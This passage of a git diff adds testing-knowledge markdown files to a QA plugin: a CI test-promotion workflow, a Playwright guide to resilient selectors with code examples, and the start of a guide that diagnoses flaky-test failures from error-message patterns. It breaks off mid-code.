+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Narrow scope with combined locators
+    const shippingSection = page.getByTestId('shipping-section');
+    await shippingSection.getByLabel('Address Line 1').fill('123 Main St');
+    await shippingSection.getByLabel('City').fill('New York');
+
+    // Scoping prevents ambiguity (multiple "City" fields on page)
+  });
+});
+```
+
+**Key Points**:
+
+- Regex patterns handle variable content (IDs, timestamps, counts)
+- Partial matching survives minor text changes (`exact: false`)
+- `filter()` is more resilient than `nth()` (content-based vs index-based)
+- `nth(0)` acceptable for "first item", avoid arbitrary indexes
+- Combine locators to narrow scope (prevent ambiguity)
+
+---
+
+### Example 3: Selector Anti-Patterns (What NOT to Do)
+
+**Context**: Common selector mistakes that cause brittle tests
+
+**Problem Examples**:
+
+```typescript
+// tests/selectors/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Anti-Patterns to Avoid', () => {
+  test('❌ Anti-Pattern 1: CSS classes (brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Bad: CSS class (breaks with design system updates)
+    // await page.locator('.btn-primary').click()
+    // await page.locator('.form-input-lg').fill('test@example.com')
+
+    // ✅ Good: Use data-testid or ARIA role
+    await page.getByTestId('login-button').click();
+    await page.getByRole('textbox', { name: 'Email' }).fill('test@example.com');
+  });
+
+  test('❌ Anti-Pattern 2: Index-based nth() (fragile)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when product order changes)
+    // await page.locator('.product-card').nth(3).click()
+
+    // ✅ Good: Content-based filter
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('❌ Anti-Pattern 3: Complex XPath (hard to maintain)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Complex XPath (unreadable, breaks with structure changes)
+    // await page.locator('xpath=//div[@class="container"]//section[2]//button[contains(@class, "primary")]').click()
+
+    // ✅ Good: Semantic selector
+    await page.getByRole('button', { name: 'Create Order' }).click();
+  });
+
+  test('❌ Anti-Pattern 4: ID selectors (coupled to implementation)', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Bad: HTML ID (breaks if ID changes for accessibility/SEO)
+    // await page.locator('#user-settings-form').fill(...)
+
+    // ✅ Good: data-testid or ARIA landmark
+    await page.getByTestId('user-settings-form').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('✅ Refactoring: Bad → Good Selector', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Before (brittle):
+    // await page.locator('.checkout-form > .payment-section > .btn-submit').click()
+
+    // After (resilient):
+    await page.getByTestId('checkout-form').getByRole('button', { name: 'Complete Payment' }).click();
+
+    await expect(page.getByText('Payment successful')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **CSS classes**: Change frequently with design updates (Tailwind, CSS modules)
+- **nth() indexes**: Fragile to element reordering (new features, A/B tests)
+- **Complex XPath**: Unreadable, breaks with HTML structure changes
+- **HTML IDs**: Not stable (accessibility improvements change IDs)
+
+**Better Approach**: Use selector hierarchy (testid > ARIA > text)
+
+---
+
+### Example 4: Selector Debugging Techniques (Inspector, DevTools, MCP)
+
+**Context**: Debug selector failures interactively to find better alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/debugging-techniques.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Debugging Techniques', () => {
+  test('use Playwright Inspector to test selectors', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Pause test to open Inspector
+    await page.pause();
+
+    // In Inspector console, test selectors:
+    // page.getByTestId('user-menu')              ✅ Works
+    // page.getByRole('button', { name: 'Profile' }) ✅ Works
+    // page.locator('.btn-primary')               ❌ Brittle
+
+    // Use "Pick Locator" feature to generate selectors
+    // Use "Record" mode to capture user interactions
+
+    await page.getByTestId('user-menu').click();
+    await expect(page.getByRole('menu')).toBeVisible();
+  });
+
+  test('use locator.all() to debug lists', async ({ page }) => {
+    await page.goto('/products');
+
+    // Debug: How many products are visible?
+    const products = await page.getByTestId('product-card').all();
+    console.log(`Found ${products.length} products`);
+
+    // Debug: What text is in each product?
+    for (const product of products) {
+      const text = await product.textContent();
+      console.log(`Product text: ${text}`);
+    }
+
+    // Use findings to build better selector
+    await page.getByTestId('product-card').filter({ hasText: 'Laptop' }).click();
+  });
+
+  test('use DevTools console to test selectors', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // Open DevTools (manually or via page.pause())
+    // Test selectors in console:
+    // document.querySelectorAll('[data-testid="payment-method"]')
+    // document.querySelector('#credit-card-input')
+
+    // Find robust selector through trial and error
+    await page.getByTestId('payment-method').selectOption('credit-card');
+  });
+
+  test('MCP browser_generate_locator (if available)', async ({ page }) => {
+    await page.goto('/products');
+
+    // If Playwright MCP available, use browser_generate_locator:
+    // 1. Click element in browser
+    // 2. MCP generates optimal selector
+    // 3. Copy into test
+
+    // Example output from MCP:
+    // page.getByRole('link', { name: 'Product A' })
+
+    // Use generated selector
+    await page.getByRole('link', { name: 'Product A' }).click();
+    await expect(page).toHaveURL(/\/products\/\d+/);
+  });
+});
+```
+
+**Key Points**:
+
+- Playwright Inspector: Interactive selector testing with "Pick Locator" feature
+- `locator.all()`: Debug lists to understand structure and content
+- DevTools console: Test CSS selectors before adding to tests
+- MCP browser_generate_locator: Auto-generate optimal selectors (if MCP available)
+- Always validate selectors work before committing
+
+---
+
+### Example 2: Selector Refactoring Guide (Before/After Patterns)
+
+**Context**: Systematically improve brittle selectors to resilient alternatives
+
+**Implementation**:
+
+```typescript
+// tests/selectors/refactoring-guide.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Refactoring Patterns', () => {
+  test('refactor: CSS class → data-testid', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Before: CSS class (breaks with Tailwind updates)
+    // await page.locator('.bg-blue-500.px-4.py-2.rounded').click()
+
+    // ✅ After: data-testid
+    await page.getByTestId('add-to-cart-button').click();
+
+    // Implementation: Add data-testid to button component
+    // <button className="bg-blue-500 px-4 py-2 rounded" data-testid="add-to-cart-button">
+  });
+
+  test('refactor: nth() index → filter()', async ({ page }) => {
+    await page.goto('/users');
+
+    // ❌ Before: Index-based (breaks when users reorder)
+    // await page.locator('.user-row').nth(2).click()
+
+    // ✅ After: Content-based filter
+    await page.locator('[data-testid="user-row"]').filter({ hasText: 'john@example.com' }).click();
+  });
+
+  test('refactor: Complex XPath → ARIA role', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Before: Complex XPath (unreadable, brittle)
+    // await page.locator('xpath=//div[@id="payment"]//form//button[contains(@class, "submit")]').click()
+
+    // ✅ After: ARIA role
+    await page.getByRole('button', { name: 'Complete Payment' }).click();
+  });
+
+  test('refactor: ID selector → data-testid', async ({ page }) => {
+    await page.goto('/settings');
+
+    // ❌ Before: HTML ID (changes with accessibility improvements)
+    // await page.locator('#user-profile-section').getByLabel('Name').fill('John')
+
+    // ✅ After: data-testid + semantic label
+    await page.getByTestId('user-profile-section').getByLabel('Display Name').fill('John Doe');
+  });
+
+  test('refactor: Deeply nested CSS → scoped data-testid', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Before: Deep nesting (breaks with structure changes)
+    // await page.locator('.container .sidebar .menu .item:nth-child(3) a').click()
+
+    // ✅ After: Scoped data-testid
+    const sidebar = page.getByTestId('sidebar');
+    await sidebar.getByRole('link', { name: 'Settings' }).click();
+  });
+});
+```
+
+**Key Points**:
+
+- CSS class → data-testid (survives design system updates)
+- nth() → filter() (content-based vs index-based)
+- Complex XPath → ARIA role (readable, semantic)
+- ID → data-testid (decouples from HTML structure)
+- Deep nesting → scoped locators (modular, maintainable)
+
+---
+
+### Example 3: Selector Best Practices Checklist
+
+```typescript
+// tests/selectors/validation-checklist.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Selector Validation Checklist
+ *
+ * Before committing test, verify selectors meet these criteria:
+ */
+test.describe('Selector Best Practices Validation', () => {
+  test('✅ 1. Prefer data-testid for interactive elements', async ({ page }) => {
+    await page.goto('/login');
+
+    // Interactive elements (buttons, inputs, links) should use data-testid
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('login-button').click();
+  });
+
+  test('✅ 2. Use ARIA roles for semantic elements', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Semantic elements (headings, navigation, forms) use ARIA
+    await expect(page.getByRole('heading', { name: 'Dashboard' })).toBeVisible();
+    await page.getByRole('navigation').getByRole('link', { name: 'Settings' }).click();
+  });
+
+  test('✅ 3. Avoid CSS classes (except when testing styles)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Never for interaction: page.locator('.btn-primary')
+    // ✅ Only for visual regression: await expect(page.locator('.error-banner')).toHaveCSS('color', 'rgb(255, 0, 0)')
+  });
+
+  test('✅ 4. Use filter() instead of nth() for lists', async ({ page }) => {
+    await page.goto('/orders');
+
+    // List selection should be content-based
+    await page.getByTestId('order-row').filter({ hasText: 'Order #12345' }).click();
+  });
+
+  test('✅ 5. Selectors are human-readable', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ✅ Good: Clear intent
+    await page.getByTestId('shipping-address-form').getByLabel('Street Address').fill('123 Main St');
+
+    // ❌ Bad: Cryptic
+    // await page.locator('div > div:nth-child(2) > input[type="text"]').fill('123 Main St')
+  });
+});
+```
+
+**Validation Rules**:
+
+1. **Interactive elements** (buttons, inputs) → data-testid
+2. **Semantic elements** (headings, nav, forms) → ARIA roles
+3. **CSS classes** → Avoid (except visual regression tests)
+4. **Lists** → filter() over nth() (content-based selection)
+5. **Readability** → Selectors document user intent (clear, semantic)
+
+---
+
+## Selector Resilience Checklist
+
+Before deploying selectors:
+
+- [ ] **Hierarchy followed**: data-testid (1st choice) > ARIA (2nd) > text (3rd) > CSS/ID (last resort)
+- [ ] **Interactive elements use data-testid**: Buttons, inputs, links have dedicated test attributes
+- [ ] **Semantic elements use ARIA**: Headings, navigation, forms use roles and accessible names
+- [ ] **No brittle patterns**: No CSS classes (except visual tests), no arbitrary nth(), no complex XPath
+- [ ] **Dynamic content handled**: Regex for IDs/timestamps, filter() for lists, partial matching for text
+- [ ] **Selectors are scoped**: Use container locators to narrow scope (prevent ambiguity)
+- [ ] **Human-readable**: Selectors document user intent (clear, semantic, maintainable)
+- [ ] **Validated in Inspector**: Test selectors interactively before committing (page.pause())
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (generate tests with robust selectors), `*automate` (healing selector failures), `*test-review` (validate selector quality)
+- **Related fragments**: `test-healing-patterns.md` (selector failure diagnosis), `fixture-architecture.md` (page object alternatives), `test-quality.md` (maintainability standards)
+- **Tools**: Playwright Inspector (Pick Locator), DevTools console, Playwright MCP browser_generate_locator (optional)
+
+_Source: Playwright selector best practices, accessibility guidelines (ARIA), production test maintenance patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-healing-patterns.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-healing-patterns.md
new file mode 100644
index 0000000..ce2676d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/test-healing-patterns.md
@@ -0,0 +1,644 @@
+# Test Healing Patterns
+
+## Principle
+
+Common test failures follow predictable patterns (stale selectors, race conditions, dynamic data assertions, network errors, hard waits). **Automated healing** identifies failure signatures and applies pattern-based fixes. Manual healing captures these patterns for future automation.
+
+## Rationale
+
+**The Problem**: Test failures waste developer time on repetitive debugging. Teams manually fix the same selector issues, timing bugs, and data mismatches repeatedly across test suites.
+
+**The Solution**: Catalog common failure patterns with diagnostic signatures and automated fixes. When a test fails, match the error message/stack trace against known patterns and apply the corresponding fix. This transforms test maintenance from reactive debugging to proactive pattern application.
+
+**Why This Matters**:
+
+- Reduces test maintenance time by 60-80% (pattern-based fixes vs manual debugging)
+- Prevents flakiness regression (same bug fixed once, applied everywhere)
+- Builds institutional knowledge (failure catalog grows over time)
+- Enables self-healing test suites (automate workflow validates and heals)
+
+## Pattern Examples
+
+### Example 1: Common Failure Pattern - Stale Selectors (Element Not Found)
+
+**Context**: Test fails with "Element not found" or "Locator resolved to 0 elements" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/selector-healing.ts
+
+export type SelectorFailure = {
+  errorMessage: string;
+  stackTrace: string;
+  selector: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect stale selector failures
+ */
+export function isSelectorFailure(error: Error): boolean {
+  const patterns = [
+    /locator.*resolved to 0 elements/i,
+    /element not found/i,
+    /waiting for locator.*to be visible/i,
+    /selector.*did not match any elements/i,
+    /unable to find element/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Extract selector from error message
+ */
+export function extractSelector(errorMessage: string): string | null {
+  // Playwright: "locator('button[type=\"submit\"]') resolved to 0 elements"
+  const playwrightMatch = errorMessage.match(/locator\('([^']+)'\)/);
+  if (playwrightMatch) return playwrightMatch[1];
+
+  // Cypress: "Timed out retrying: Expected to find element: '.submit-button'"
+  const cypressMatch = errorMessage.match(/Expected to find element: ['"]([^'"]+)['"]/i);
+  if (cypressMatch) return cypressMatch[1];
+
+  return null;
+}
+
+/**
+ * Suggest better selector based on hierarchy
+ */
+export function suggestBetterSelector(badSelector: string): string {
+  // If using CSS class → suggest data-testid
+  if (badSelector.startsWith('.') || badSelector.includes('class=')) {
+    const elementName = badSelector.match(/class=["']([^"']+)["']/)?.[1] || badSelector.slice(1);
+    return `page.getByTestId('${elementName}') // Prefer data-testid over CSS class`;
+  }
+
+  // If using ID → suggest data-testid
+  if (badSelector.startsWith('#')) {
+    return `page.getByTestId('${badSelector.slice(1)}') // Prefer data-testid over ID`;
+  }
+
+  // If using nth() → suggest filter() or more specific selector
+  if (badSelector.includes('.nth(')) {
+    return `page.locator('${badSelector.split('.nth(')[0]}').filter({ hasText: 'specific text' }) // Avoid brittle nth(), use filter()`;
+  }
+
+  // If using complex CSS → suggest ARIA role
+  if (badSelector.includes('>') || badSelector.includes('+')) {
+    return `page.getByRole('button', { name: 'Submit' }) // Prefer ARIA roles over complex CSS`;
+  }
+
+  return `page.getByTestId('...') // Add data-testid attribute to element`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/selector-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isSelectorFailure, extractSelector, suggestBetterSelector } from '../../src/testing/healing/selector-healing';
+
+test('heal stale selector failures automatically', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  try {
+    // Original test with brittle CSS selector
+    await page.locator('.btn-primary').click();
+  } catch (error: any) {
+    if (isSelectorFailure(error)) {
+      const badSelector = extractSelector(error.message);
+      const suggestion = badSelector ? suggestBetterSelector(badSelector) : null;
+
+      console.log('HEALING SUGGESTION:', suggestion);
+
+      // Apply healed selector
+      await page.getByTestId('submit-button').click(); // Fixed!
+    } else {
+      throw error; // Not a selector issue, rethrow
+    }
+  }
+
+  await expect(page.getByText('Success')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "locator resolved to 0 elements" or "element not found"
+- Fix: Replace brittle selector (CSS class, ID, nth) with robust alternative (data-testid, ARIA role)
+- Prevention: Follow selector hierarchy (data-testid > ARIA > text > CSS)
+- Automation: Pattern matching on error message + stack trace
+
+---
+
+### Example 2: Common Failure Pattern - Race Conditions (Timing Errors)
+
+**Context**: Test fails with "timeout waiting for element" or "element not visible" errors
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/timing-healing.ts
+
+export type TimingFailure = {
+  errorMessage: string;
+  testFile: string;
+  lineNumber: number;
+  actionType: 'click' | 'fill' | 'waitFor' | 'expect';
+};
+
+/**
+ * Detect race condition failures
+ */
+export function isTimingFailure(error: Error): boolean {
+  const patterns = [
+    /timeout.*waiting for/i,
+    /element is not visible/i,
+    /element is not attached to the dom/i,
+    /waiting for element to be visible.*exceeded/i,
+    /timed out retrying/i,
+    /waitForLoadState.*timeout/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Detect hard wait anti-pattern
+ */
+export function hasHardWait(testCode: string): boolean {
+  const hardWaitPatterns = [/page\.waitForTimeout\(/, /cy\.wait\(\d+\)/, /await.*sleep\(/, /setTimeout\(/];
+
+  return hardWaitPatterns.some((pattern) => pattern.test(testCode));
+}
+
+/**
+ * Suggest deterministic wait replacement
+ */
+export function suggestDeterministicWait(testCode: string): string {
+  if (testCode.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// await page.waitForTimeout(3000)
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/data') && resp.status() === 200)
+
+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
